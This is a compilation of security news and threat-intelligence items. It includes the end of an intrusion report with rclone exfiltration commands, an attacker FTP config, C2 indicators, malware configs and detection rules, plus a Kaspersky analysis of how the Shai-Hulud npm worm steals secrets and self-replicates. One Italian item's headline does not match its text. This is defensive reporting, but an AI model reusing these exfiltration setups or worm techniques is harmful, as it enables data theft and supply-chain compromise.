"*.{ai,bin,blf,bmp,cab,cat,cdf-ms,cdp,cfs,DAT,DAT*,DATA,db,db-shm,db-wal,dbg,dll,download,dwg,dxf,exe,*exe,feedsdb-ms,ico,idea,idx,indd,inf,ini,iso,jcp,jfm,jrs,js,json,jtx,lck,lnk,log,LOG*,LOG1,LOG2,lst,manifest,msi,nak,nvram,ost,pma,png,psd,pwd,rar,regtrans-ms,search-ms,searchconnector-ms,sys,tbacc*,tbres,toc,uca,val,vmdk,vmsd,vmx,vmxf,vol,vswp,wpl,zip}" --inplace --ignore-existing --auto-confirm --multi-thread-streams 45 --transfers 45 --min-size 1k --max-age 90M The threat actor dropped the Rclone configuration file (rclone.conf) twice on the file share server in quick succession. The first rclone.conf file creation occurred three minutes before the second one, with two executions occurring between them, hinting that there may have been a mistake in the first config file dropped by the threat actor. The first execution had a syntax error with specifying the drive to exfiltrate files from (threat actor added an extra colon to the drive), and the second execution showed that the threat actor had initially dropped the config file with an incorrect username added to it. The FTP traffic shows that the username used was J0eBidenAbrabdy1aS3ha2 when it should have been J0eBidenAbrabdy1aS3ha2Yeami which was the username found in the rclone.conf file found on the infected device (the same password was used in both executions). [ftp] type = ftp host = 45.135.232.3 user = J0eBidenAbrabdy1aS3ha2Yeami #port = 21 pass = #tls = false Exfiltration activity took place over 9 hours and 46 minutes. As discussed in the Exfiltration section, on the twentieth day, the threat actor successfully performed data exfiltration. Despite that, no further final actions on objectives were performed until they were evicted from the network. Atomic RDP Client Name VPS2DAY-32220LE Rclone configuration host: 45.135.232.3 user: J0eBidenAbrabdy1aS3ha2Yeami user: J0eBidenAbrabdy1aS3ha2 Latrodectus Domains workspacin[.]cloud illoskanawer[.]com grasmetral[.]com jarkaairbo[.]com scupolasta[.]store Backconnect IP Addresses 185.93.221.12 193.168.143.196 Lsassa Backdoor Domain cloudmeri[.]com Lsassa Backdoor IP Addresses 162.0.209.121 Brute Ratel Domains anikvan[.]com altynbe[.]com boriz400[.]com ridiculous-breakpoint-gw[.]aws-use1[.]cloud-ara[.]tyk[.]io uncertain-kitten-gw[.]aws-euc1[.]cloud-ara[.]tyk[.]io erbolsan[.]com samderat200[.]com dauled[.]com kasymdev[.]com kasym500[.]com Brute Ratel IP Addresses 95.164.68.73 138.124.183.215 91.194.11.183 94.232.249.100 94.131.108.254 94.232.249.108 45.150.65.85 195.123.225.161 195.211.98.249 195.123.225.251 Metasploit IP Addresses 217.196.98.61 Cobalt Strike Domains avtechupdate[.]com Cobalt Strike IP Addresses 206.206.123.209 45.129.199.214 31.13.248.153 Latrodectus Configuration Config: { "Version": "1.3", "Direction": "4", "C2s": [ "hxxps://workspacin[.]cloud/live/", "hxxps://illoskanawer[.]com/live/" ], "RC4": "xkxp7pKhnkQxUokR2dl00qsRa6Hx0xvQ31jTD7EwUqj4RXWtHwELbZFbOoqCnXl8", "GroupID": "2221766521", "CampaignID": "Electrol" } Decrypted Strings: { "pid": "%d", "proc": "%s", "subproc": [ ] } &desklinks=[ *.* "%s" ] &proclist=[ { "pid": "%d", "proc": "%s", "subproc": [ ] } /c ipconfig /all C:\Windows\System32\cmd.exe /c systeminfo C:\Windows\System32\cmd.exe /c nltest /domain_trusts C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts C:\Windows\System32\cmd.exe /c net view /all /domain C:\Windows\System32\cmd.exe /c net view /all C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain C:\Windows\System32\cmd.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List C:\Windows\System32\wbem\wmic.exe /c net config workstation C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed C:\Windows\System32\cmd.exe /c whoami /groups C:\Windows\System32\cmd.exe &ipconfig= &systeminfo= &domain_trusts= &domain_trusts_all= &net_view_all_domain= &net_view_all= &net_group= &wmic= &net_config_ws= &net_wmic_av= &whoami_group= runnung front /files/ %d %s%s files/bp.dat %s\%d.dll %d.dat %s\%s init -zzzz="%s\%s" Electrol Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Content-Type: application/x-www-form-urlencoded POST GET CLEARURL URLS COMMAND ERROR xkxp7pKhnkQxUokR2dl00qsRa6Hx0xvQ31jTD7EwUqj4RXWtHwELbZFbOoqCnXl8 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ https://workspacin.cloud/live/ https://illoskanawer.com/live/ %s%d.dll %s%d.exe Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) <!DOCTYPE &mac= %02x :%02x ; &computername=%s &domain=%s C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s C:\WINDOWS\SYSTEM32\rundll32.exe %s 12345 &stiller= Cobalt Strike Beacon Configuration (system.dl_ | cron801.dl_) Version: 4.6 Socket: 80 Beacon Type: HTTP MaxGetSize: 2105681 URL: hxxp://45.129.199[.]214/vodeo/wg01ck01 Jitter: 49 Encryption Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCGcLYJG9miEP3Lp+FqQ74n9HNbqI/s4ZE5fg0PHR7voXFnSWgDr1g9wmLgG5B5YMIPXZXzJlFUwEYSPam58mUqy+87onjq1rXP6Dx7DXqZQ+3b6ZvfCs+5jrfxcHXRp8XD03AYmyKETAAQXsJd8ipoTIexVlLLPsWXyH9xZ/KC1wIDAQAB (RSA) HttpPostUri: /vodeo/vid_wg01ck01 User Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 MalleableC2Instructions: Remove 4338 chars from the end, Remove 4183 chars from the begςinning, NetBIOS decode 'A', XOR mask w/ random key HTTPGetClient: mask, header Accept: application/xml, text/html, application/xhtml+xml HTTPPostClient: mask, mask, header Accept: text/html, application/xhtml+xml, application/json HTTPGet_Verb: GET HTTPPost_Verb: POST spawnto_x64: %windir%\sysnative\gpupdate.exe spawnto_x86: %windir%\syswow64\gpupdate.exe Proxy_Behavior: Use IE settings Watermark: 987654321 Jitter: 49 ProcessInject_MinAllocation: 19836 ProcessInject_AllocationMethod: NtMapViewOfSection Computed rustscan.exe 9eaa8464110883a15115b68ffa1ecf7d 5348970723b378c7cae35bb03d8736f8e5a9f0ac 37471af00673af4080ee21bd248536147e450d2eff45e8701a95d1163a9d62fe lsassa.exe 50abc42faa70062e20cd5e2a2e2b6633 97d72c8bbcf367be6bd5e80021e3bd3232ac309a 203eda879dbdb128259cd658b22c9c21c66cbcfa1e2f39879c73b4dafb84c592 run.bat c8ea31665553cbca19b22863eea6ca2c ba99cd73b74c64d6b1257b7db99814d1dc7d76b1 411dfb067a984a244ff0c41887d4a09fbbcd8d562550f5d32d58a6a6256bd7b2 start.vbs 4b3e9c9e018659d1cf04daf82abe3b64 333e1c5967a9a6c881c9573a3222bed6ada911c6 1a8ebf914ebea34402eecbf0985f05ae413663708d2fcc842fc27057ac5ec4ed sys.dll ad3c52316e0059c66bc1dd680cf9edad 8dfa63c0bb611e18c8331ed5b89decf433ac394a 100e03eb4e9dcdab6e06b2b26f800d47a21d338885f5dc1b42c56a32429c9168 Cobalt Strike system.dl_ or cron801.dl_ 495363b0262b62dfc38d7bfb7b5541aa 2d92890374904b49d3c54314d02b952e1a714e99 77eede38abdc740f000596e374b6842902653aeafb6c63011388ebb22ec13e28 BruteRatel upfilles.dll ccb6d3cb020f56758622911ddd2f1fcb 4a013f752c2bf84ca37e418175e0d9b6f61f636d f4cb6b684ea097f867d406a978b3422bbf2ecfea39236bf3ab99340996b825de BruteRatel wscadminui.dll d7bd590b6c660716277383aa23cb0aa9 38999890b3a2c743e0abea1122649082a5fa1281 6c3b2490e99cd8397fb79d84a5638c1a0c4edb516a4b0047aa70b5811483db8f zero.exe 91889658f1c8e1462f06f019b842f109 33a6b39fbe8ec45afab14af88fd6fa8e96885bf1 36bc32becf287402bf0e9c918de22d886a74c501a33aa08dcb9be2f222fa6e24 c356468.exe A2B6479A69B51AE555F695B243E4FDA1 23FFF588E3E5CC6678E1F77FAB9318D60F3AC55F 8FB5034AEDF41F8C8C4C4022FDDE7DB3C70A5A7C7B5B4DEC7F6A57715C18A5BF Network ET MALWARE Windows dir Microsoft Windows DOS prompt command exit OUTBOUND ET MALWARE Windows Microsoft Windows DOS prompt command Error not recognized ET POLICY Observed MSI Download ThreatFox IcedID botnet C2 traffic (ip:port - confidence level: 60%) ThreatFox Unidentified 111 (Latrodectus) botnet C2 traffic (ip:port - confidence level: 75%) ThreatFox botnet C2 traffic (domain - confidence level: 100%) ET HUNTING ZIP file exfiltration over raw TCP ET DROP Spamhaus DROP Listed Traffic Inbound group 5 ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET HUNTING Terse Unencrypted Request for Google - Likely Connectivity Check Sigma Search rules on detection.fyi or sigmasearchengine.com DFIR Private Rules: 67eb826d-7745-416c-9674-525ef0dc7610 : Launching VNC Interactive Session e652d235-b994-432e-b2f3-15a9cee381df : Domain Enumeration Using Netdom Query f8a8998f-dfe9-4942-812c-f4e591653ced : MS-Settings Shell Command Hijacking 1f959fda-4c54-4dad-9bca-4a5a65529772 : MSI Payload Executing Suspicious DLL Through Rundll32 a566b9e8-0a5c-4128-b499-c7632915d5e2 : Suspicious Type Command Over Administrative Share c42e8603-0311-4e4e-8923-4c1e8be9d78d : Suspicious Computer Machine Password Reset 1b8ad6a1-35c3-4400-9678-e7d3e3b0acfd : DNS data export using dnscmd.exe b326e9ad-0d9b-43bf-8bd0-9620839c6f6b : Veeam Backup Credential Theft Detection Sigma Repo: d522eca2-2973-4391-a3e0-ef0374321dae : Abused Debug Privilege by Arbitrary Parent Processes d5601f8c-b26f-4ab0-9035-69e11a8d4ad2 : CobaltStrike Named Pipe 85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7 : CobaltStrike Named Pipe Patterns 7b434893-c57d-4f41-908d-6a17bf1ae98f : Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location 08249dc0-a28d-4555-8ba5-9255a198e08c : Outbound Network Connection Initiated By Script Interpreter ed74fe75-7594-4b4b-ae38-e38e3fd2eb23 : Outbound RDP Connections Over Non-Standard Tools 85b0b087-eddf-4a2b-b033-d771fa2b9775 : PowerShell Download and Execution Cradles 3dfd06d2-eaf4-4532-9555-68aca59f57c4 : Process Execution From A Potentially Suspicious Folder 8834e2f7-6b4b-4f09-8906-d2276470ee23 : PsExec/PAExec Escalation to LOCAL SYSTEM 9a132afa-654e-11eb-ae93-0242ac130002 : PUA - AdFind Suspicious Execution df55196f-f105-44d3-a675-e9dfb6cc2f2b : Renamed AdFind Execution 5bb68627-3198-40ca-b458-49f973db8752 : Rundll32 Execution Without Parameters 152f3630-77c1-4284-bcc0-4cc68ab2f6e7 : Shell Open Registry Keys Manipulation 3b6ab547-8ec2-4991-b9d2-2b06702a48d7 : Suspicious PowerShell Download and Execute Pattern 3c89a1e8-0fba-449e-8f1b-8409d6267ec8 : Suspicious Process Created Via Wmic.EXE 5cc2cda8-f261-4d88-a2de-e9e193c86716 : Suspicious Processes Spawned by WinRM dcdbc940-0bff-46b2-95f3-2d73f848e33b : Suspicious Spool Service Child Process 2617e7ed-adb7-40ba-b0f3-8f9945fe6c09 : Suspicious SYSTEM User Process Creation 1277f594-a7d1-4f28-a2d3-73af5cbeab43 : Windows Shell/Scripting Application File Write to Suspicious Folder Yara New Rules: https://github.com/The-DFIR-Report/Yara-Rules/blob/main/28761/28761.yar 61b951e4-0c27-59c0-8ea2-715b673fdcee : CAPE_Bruteratel 5ae680b0-5ad2-5e82-87f8-b0af4fec18de : CAPE_Bruteratelconfig 0ddc3e0a-c4ca-5342-b029-107ce1f2751e : CAPE_Bruteratelsyscall 956b6736-b3ef-5974-b3dd-02d04336dbe8 : CAPE_Latrodectus_1 6bd6fbb4-6634-5b51-90f0-f24e48d69043 : EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt 2e0925bc-6929-57fd-a204-d14352ab043b : MALPEDIA_Win_Brute_Ratel_C4_Auto 1adbbac8-6bfc-5d06-9cad-1cba809f72a0 : MALPEDIA_Win_Cobalt_Strike_Auto 02322cd8-96f0-5b56-94f1-88df3945f27c : MALPEDIA_Win_Latrodectus_Auto 042a598d-66fa-4994-a793-228355abd5dd : SEKOIA_Latrodectus_Br4_Js_Dropper 29076cf5-f391-42f2-918f-e1c929bd368d : SEKOIA_Latrodectus_Exports d5b53d68-55f9-5837-9b0c-e7be2f3bd072 : SIGNATURE_BASE_Cobaltstrike_Sleep_Decoder_Indicator 63b71eef-0af5-5765-b957-ccdc9dde053b : SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_4_2_Decrypt af558aa2-a3dc-5a7a-bc74-42bb2246091c : SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_Strings d396ab0e-b584-5a7c-8627-5f318a20f9dd : SIGNATURE_BASE_HKTL_Cobaltstrike_Sleepmask_Jul22 a7dae4c7-672e-58fb-8542-90fa90d991a4 : TRELLIX_ARC_MALW_Cobaltrike 113ba304-261f-5c59-bc56-57515c239b6d : VOLEXITY_Trojan_Win_Cobaltstrike 4110d879-8d36-4004-858d-e62400948920 : Windows_Trojan_BruteRatel_4110d879 5b12cbab-c64c-4895-a186-b940bf4a8620 : Windows_Trojan_BruteRatel_5b12cbab 644ac114-cc66-443e-9dd0-a591be99a86c : Windows_Trojan_BruteRatel_644ac114 3dc22d14-a2f4-49cd-a3a8-3f071eddf028 : Windows_Trojan_CobaltStrike_3dc22d14 663fc95d-2472-4d52-ad75-c5d86cfc885f : Windows_Trojan_CobaltStrike_663fc95d 8d5963a2-54a9-4705-9f34-0d5f8e6345a2 : Windows_Trojan_CobaltStrike_8d5963a2 b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca : Windows_Trojan_CobaltStrike_b54b94ac 841ff697-f389-497a-b813-3b9e19cba26e : Windows_Trojan_Latrodectus_841ff697 Access Token Manipulation - T1134 Archive via Utility - T1560.001 Bypass User Account Control - T1548.002 Credentials from Web Browsers - T1555.003 Credentials In Files - T1552.001 Domain Accounts - T1078.002 Domain Account - T1087.002 Domain Groups - T1069.002 Domain Trust Discovery - T1482 Drive-by Compromise - T1189 Encrypted/Encoded File - T1027.013 Exfiltration Over Alternative Protocol - T1048 Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003 Exploitation of Remote Services - T1210 File and Directory Discovery - T1083 File Deletion - T1070.004 Ingress Tool Transfer - T1105 JavaScript - T1059.007 Junk Code Insertion - T1027.016 Lateral Tool Transfer - T1570 Local Account - T1087.001 Local Groups - T1069.001 LSASS Memory - T1003.001 Malicious File - T1204.002 Masquerading - T1036 Network Service Discovery - T1046 Network Share Discovery - T1135 Non-Standard Port - T1571 PowerShell - T1059.001 Process Injection - T1055 Registry Run Keys / Startup Folder - T1547.001 Remote Desktop Protocol - T1021.001 Remote System Discovery - T1018 Rundll32 - T1218.011 Scheduled Task - T1053.005 Security Software Discovery - T1518.001 Service Execution - T1569.002 SMB/Windows Admin Shares - T1021.002 System Information Discovery - T1082 System Owner/User Discovery - T1033 Web Protocols - T1071.001 Windows Command Shell - T1059.003 Windows File and Directory Permissions Modification - T1222.001 Windows Management Instrumentation - T1047 Internal case #PR37865 #TB28761
thedfirreport.comSep 29, 2025extracted
Massive npm infection: the Shai-Hulud worm and patient zero
Introduction The modern development world is almost entirely dependent on third-party modules. While this certainly speeds up development, it also creates a massive attack surface for end users, since anyone can create these components. It is no surprise that malicious modules are becoming more common. When a single maintainer account for popular modules or a single popular dependency is compromised, it can quickly turn into a supply chain attack. Such compromises are now a frequent attack vector trending among threat actors. In the last month alone, there have been two major incidents that confirm this interest in creating malicious modules, dependencies, and packages. We have already discussed the recent compromise of popular npm packages. September 16, 2025 saw reports of a new wave of npm package infections, caused by the self-propagating malware known as Shai-Hulud. Shai-Hulud is designed to steal sensitive data, expose private repositories of organizations, and hijack victim credentials to infect other packages and spread on. Over 500 packages were infected in this incident, including one with more than two million weekly downloads. As a result, developers who integrated these malicious packages into their projects risk losing sensitive data, and their own libraries could become infected with Shai-Hulud. This self-propagating malware takes over accounts and steals secrets to create new infected modules, spreading the threat along the dependency chain. Technical details The worm’s malicious code executes when an infected package is installed. It then publishes infected releases to all packages the victim has update permissions for. Once the infected package is installed from the npm registry on the victim’s system, a special command is automatically executed. This command launches a malicious script over 3 MB in size named bundle.js, which contains several legitimate, open-source work modules. Key modules within bundle.js include: Library for interacting with AWS cloud services GCP module that retrieves metadata from the Google Cloud Platform environment Functions for TruffleHog, a tool for scanning various data sources to find sensitive information, specifically secrets Tool for interacting with the GitHub API The JavaScript file also contains network utilities for data transfer and the main operational module, Shai-Hulud. The worm begins its malicious activity by collecting information about the victim’s operating system and checking for an npm token and authenticated GitHub user token in the environment. If a valid GitHub token is not present, bundle.js will terminate. A distinctive feature of Shai-Hulud is that most of its functionality is geared toward Linux and macOS systems: almost all malicious actions are performed exclusively on these systems, with the exception of using TruffleHog to find secrets. Exfiltrating secrets After passing the checks, the malware uses the token mentioned earlier to get information about the current GitHub user. It then runs the extraction function, which creates a temporary executable bash script at /tmp/processor.sh and runs it as a separate process, passing the token as an argument. Below is the extraction function, with strings and variable names modified for readability since the original source code was illegible. The bash script is designed to communicate with the GitHub API and collect secrets from the victim’s repository in an unconventional way. First, the script checks if the token has the necessary permissions to create branches and work with GitHub Actions. If it does, the script gets a list of all the repositories the user can access from 2025. In each of these, it creates a new branch named shai-hulud and uploads a shai-hulud-workflow.yml workflow, which is a configuration file for describing GitHub Actions workflows. These files are automation scripts that are triggered in GitHub Actions whenever changes are made to a repository. The Shai-Hulud workflow activates on every push. This file collects secrets from the victim’s repositories and forwards them to the attackers’ server. Before being sent, the confidential data is encoded twice with Base64. This unusual method for data collection is designed for a one-time extraction of secrets from a user’s repositories. However, it poses a threat not only to Shai-Hulud victims but also to ordinary researchers. If you search for “shai-hulud” on GitHub, you will find numerous repositories that have been compromised by the worm. The main bundle.js script then requests a list of all organizations associated with the victim and runs the migration function for each one. This function also runs a bash script, but in this case, it saves it to /tmp/migrate-repos.sh, passing the organization name, username, and token as parameters for further malicious activity. The bash script automates the migration of all private and internal repositories from the specified GitHub organization to the user’s account, making them public. The script also uses the GitHub API to copy the contents of the private repositories as mirrors. We believe these actions are intended for the automated theft of source code from the private repositories of popular communities and organizations. For example, the well-known company CrowdStrike was caught in this wave of infections. The worm’s self-replication After running operations on the victim’s GitHub, the main bundle.js script moves on to its next crucial stage: self-replication. First, the script gets a list of the victim’s 20 most downloaded packages. To do this, it performs a search query with the username from the previously obtained npm token: Next, for each of the packages it finds, it calls the updatePackage function. This function first attempts to download the tarball version of the package (a .TAR archive). If it exists, a temporary directory named npm-update-{target_package_name} is created. The tarball version of the package is saved there as package.tgz, then unpacked and modified as follows: The malicious bundle.js is added to the original package. A postinstall command is added to the package.json file (which is used in Node.js projects to manage dependencies and project metadata). This command is configured to execute the malicious script vianode bundle.js . The package version number is incremented by 1. The modified package is then re-packed and published to npm as a new version with the npm publish command. After this, the temporary directory for the package is cleared. Uploading secrets to GitHub Next, the worm uses the previously mentioned TruffleHog utility to harvest secrets from the target system. It downloads the latest version of the utility from the original repository for the specific operating system type using the following link: The worm also uses modules for AWS and Google Cloud Platform (GCP) to scan for secrets. The script then aggregates the collected data into a single object and creates a repository named “Shai-Hulud” in the victim’s profile. It then uploads the collected information to this repository as a data.json file. Below is a list of data formats collected from the victim’s system and uploaded to GitHub: Infection characteristics A distinctive characteristic of the modified packages is that they contain an archive named package.tar. This is worth noting because packages usually contain an archive with a name that matches the package itself. Through our research, we were able to identify the first package from which Shai-Hulud began to spread, thanks to a key difference. As we mentioned earlier, after infection, a postinstall command to execute the malicious script, node bundle.js, is written to the package.json file. This command typically runs immediately after installation. However, we discovered that one of the infected packages listed the same command as a preinstall command, meaning it ran before the installation. This package was ngx-bootstrap version 18.1.4. We believe this was the starting point for the spread of this infection. This hypothesis is further supported by the fact that the archive name in the first infected version of this package differed from the name characteristic of later infected packages (package.tar). While investigating different packages, we noticed that in some cases, a single package contained multiple versions with malicious code. This was likely possible because the infection spread to all maintainers and contributors of packages, and the malicious code was then introduced from each of their accounts. Infected libraries and CrowdStrike The rapidly spreading Shai-Hulud worm has infected many popular libraries that organizations and developers use daily. Shai-Hulud has infected over 500 popular packages in recent days, including libraries from the well-known company CrowdStrike. Among the infected libraries were the following: @crowdstrike/commitlint versions 8.1.1, 8.1.2 @crowdstrike/falcon-shoelace versions 0.4.1, 0.4.2 @crowdstrike/foundry-js versions 0.19.1, 0.19.2 @crowdstrike/glide-core versions 0.34.2, 0.34.3 @crowdstrike/logscale-dashboard versions 1.205.1, 1.205.2 @crowdstrike/logscale-file-editor versions 1.205.1, 1.205.2 @crowdstrike/logscale-parser-edit versions 1.205.1, 1.205.2 @crowdstrike/logscale-search versions 1.205.1, 1.205.2 @crowdstrike/tailwind-toucan-base versions 5.0.1, 5.0.2 But the event that has drawn significant attention to this spreading threat was the infection of the @ctrl/tinycolor library, which is downloaded by over two million users every week. As mentioned above, the malicious script exposes an organization’s private repositories, posing a serious threat to their owners, as this creates a risk of exposing the source code of their libraries and products, among other things, and leading to an even greater loss of data. Prevention and protection To protect against this type of infection, we recommend using a specialized solution for monitoring open-source components. Kaspersky maintains a continuous feed of compromised packages and libraries, which can be used to secure your supply chain and protect development from similar threats. For personal devices, we recommend Kaspersky Premium, which provides multi-layered protection to prevent and neutralize infection threats. Our solution can also restore the device’s functionality if it’s infected with malware. For corporate devices, we advise implementing a comprehensive solution like Kaspersky Next, which allows you to build a flexible and effective security system. This product line provides threat visibility and real-time protection, as well as EDR and XDR capabilities for investigation and response. It is suitable for organizations of any scale or industry. Kaspersky products detect the Shai-Hulud threat as HEUR:Worm.Script.Shulud.gen. In the event of a Shai-Hulud infection, and as a proactive response to the spreading threat, we recommend taking the following measures across your systems and infrastructure: Use a reliable security solution to conduct a full system scan. Audit your GitHub repositories: Check for repositories named shai-hulud . Look for non-trivial or unknown branches, pull requests, and files. Audit GitHub Actions logs for strings containing shai-hulud . Reissue npm and GitHub tokens, cloud keys (specifically for AWS and Google Cloud Platform), and rotate other secrets. Clear the cache and inventory your npm modules: check for malicious ones and roll back versions to clean ones. Check for indicators of compromise, such as files in the system or network artifacts. Indicators of compromise Files: bundle.js shai-hulud-workflow.yml Strings: shai-hulud Hashes: C96FBBE010DD4C5BFB801780856EC228 78E701F42B76CCDE3F2678E548886860 Network artifacts: https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7 Compromised packages: @ahmedhfarag/ngx-perfect-scrollbar @ahmedhfarag/ngx-virtual-scroller @art-ws/common @art-ws/config-eslint @art-ws/config-ts @art-ws/db-context @art-ws/di @art-ws/di-node @art-ws/eslint @art-ws/fastify-http-server @art-ws/http-server @art-ws/openapi @art-ws/package-base @art-ws/prettier @art-ws/slf @art-ws/ssl-info @art-ws/web-app @basic-ui-components-stc/basic-ui-components @crowdstrike/commitlint @crowdstrike/falcon-shoelace @crowdstrike/foundry-js @crowdstrike/glide-core @crowdstrike/logscale-dashboard @crowdstrike/logscale-file-editor @crowdstrike/logscale-parser-edit @crowdstrike/logscale-search @crowdstrike/tailwind-toucan-base @ctrl/deluge @ctrl/golang-template @ctrl/magnet-link @ctrl/ngx-codemirror @ctrl/ngx-csv @ctrl/ngx-emoji-mart @ctrl/ngx-rightclick @ctrl/qbittorrent @ctrl/react-adsense @ctrl/shared-torrent @ctrl/tinycolor @ctrl/torrent-file @ctrl/transmission @ctrl/ts-base32 @nativescript-community/arraybuffers @nativescript-community/gesturehandler @nativescript-community/perms @nativescript-community/sentry @nativescript-community/sqlite @nativescript-community/text @nativescript-community/typeorm @nativescript-community/ui-collectionview @nativescript-community/ui-document-picker @nativescript-community/ui-drawer @nativescript-community/ui-image @nativescript-community/ui-label @nativescript-community/ui-material-bottom-navigation @nativescript-community/ui-material-bottomsheet @nativescript-community/ui-material-core @nativescript-community/ui-material-core-tabs @nativescript-community/ui-material-ripple @nativescript-community/ui-material-tabs @nativescript-community/ui-pager @nativescript-community/ui-pulltorefresh @nstudio/angular @nstudio/focus @nstudio/nativescript-checkbox @nstudio/nativescript-loading-indicator @nstudio/ui-collectionview @nstudio/web @nstudio/web-angular @nstudio/xplat @nstudio/xplat-utils @operato/board @operato/data-grist @operato/graphql @operato/headroom @operato/help @operato/i18n @operato/input @operato/layout @operato/popup @operato/pull-to-refresh @operato/shell @operato/styles @operato/utils @teselagen/bio-parsers @teselagen/bounce-loader @teselagen/file-utils @teselagen/liquibase-tools @teselagen/ove @teselagen/range-utils @teselagen/react-list @teselagen/react-table @teselagen/sequence-utils @teselagen/ui @thangved/callback-window @things-factory/attachment-base @things-factory/auth-base @things-factory/email-base @things-factory/env @things-factory/integration-base @things-factory/integration-marketplace @things-factory/shell @tnf-dev/api @tnf-dev/core @tnf-dev/js @tnf-dev/mui @tnf-dev/react @ui-ux-gang/devextreme-angular-rpk @ui-ux-gang/devextreme-rpk @yoobic/design-system @yoobic/jpeg-camera-es6 @yoobic/yobi ace-colorpicker-rpk airchief airpilot angulartics2 another-shai browser-webdriver-downloader capacitor-notificationhandler capacitor-plugin-healthapp capacitor-plugin-ihealth capacitor-plugin-vonage capacitorandroidpermissions config-cordova cordova-plugin-voxeet2 cordova-voxeet create-hest-app db-evo devextreme-angular-rpk devextreme-rpk ember-browser-services ember-headless-form ember-headless-form-yup ember-headless-table ember-url-hash-polyfill ember-velcro encounter-playground eslint-config-crowdstrike eslint-config-crowdstrike-node eslint-config-teselagen globalize-rpk graphql-sequelize-teselagen json-rules-engine-simplified jumpgate koa2-swagger-ui mcfly-semantic-release mcp-knowledge-base mcp-knowledge-graph mobioffice-cli monorepo-next mstate-angular mstate-cli mstate-dev-react mstate-react ng-imports-checker ng2-file-upload ngx-bootstrap ngx-color ngx-toastr ngx-trend ngx-ws oradm-to-gql oradm-to-sqlz ove-auto-annotate pm2-gelf-json printjs-rpk react-complaint-image react-jsonschema-form-conditionals react-jsonschema-form-extras react-jsonschema-rxnt-extras remark-preset-lint-crowdstrike rxnt-authentication rxnt-healthchecks-nestjs rxnt-kue swc-plugin-component-annotate tbssnch teselagen-interval-tree tg-client-query-builder tg-redbird tg-seq-gen thangved-react-grid ts-gaussian ts-imports tvi-cli ve-bamreader ve-editor verror-extra voip-callkit wdio-web-reporter yargs-help-output yoo-styles
securelist.comSep 25, 2025extracted
SQLite, Nginx e Apache crollano in un giorno. Hacker e Agenti AI rivoluzioneranno il bug hunting?
Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/
redhotcyber.comAug 17, 2025extracted
ICS Patch Tuesday: Major Vendors Address Code Execution Vulnerabilities
August 2025 Patch Tuesday advisories have been published by several major companies offering industrial control system (ICS) and other operational technology (OT) solutions. Siemens has published 22 new advisories. One of them is for CVE-2025-40746, a critical Simatic RTLS Locating Manager issue that can be exploited by an authenticated attacker for code execution with System privileges. The company has also published advisories covering high-severity vulnerabilities in Comos (code execution), Siemens Engineering Platforms (code execution), Simcenter (crash or code execution), Sinumerik controllers (unauthorized remote access), Ruggedcom (authentication bypass with physical access), Simatic (code execution), Siprotect (DoS), and Opcenter Quality (unauthorized access). Siemens also addressed vulnerabilities introduced by the use of third-party components, including OpenSSL, Linux kernel, Wibu Systems, Nginx, Nozomi Networks, and SQLite. Medium- and low-severity issues have been resolved in Simotion Scout, Siprotec 5, Simatic RTLS Locating Manager, Ruggedcom ROX II, and Sicam Q products. As usual, Siemens has released patches for many of these vulnerabilities, but only mitigations or workarounds are available for some of the flaws. Schneider Electric has released five new advisories. One of them describes four high-severity vulnerabilities in EcoStruxure Power Monitoring Expert (PME), Power Operation (EPO), and Power SCADA Operation (PSO) products. Exploitation of the flaws can lead to arbitrary code execution or sensitive data exposure. In the Modicon M340 controller and its communication modules the industrial giant fixed a high-severity DoS vulnerability that can be triggered with specially 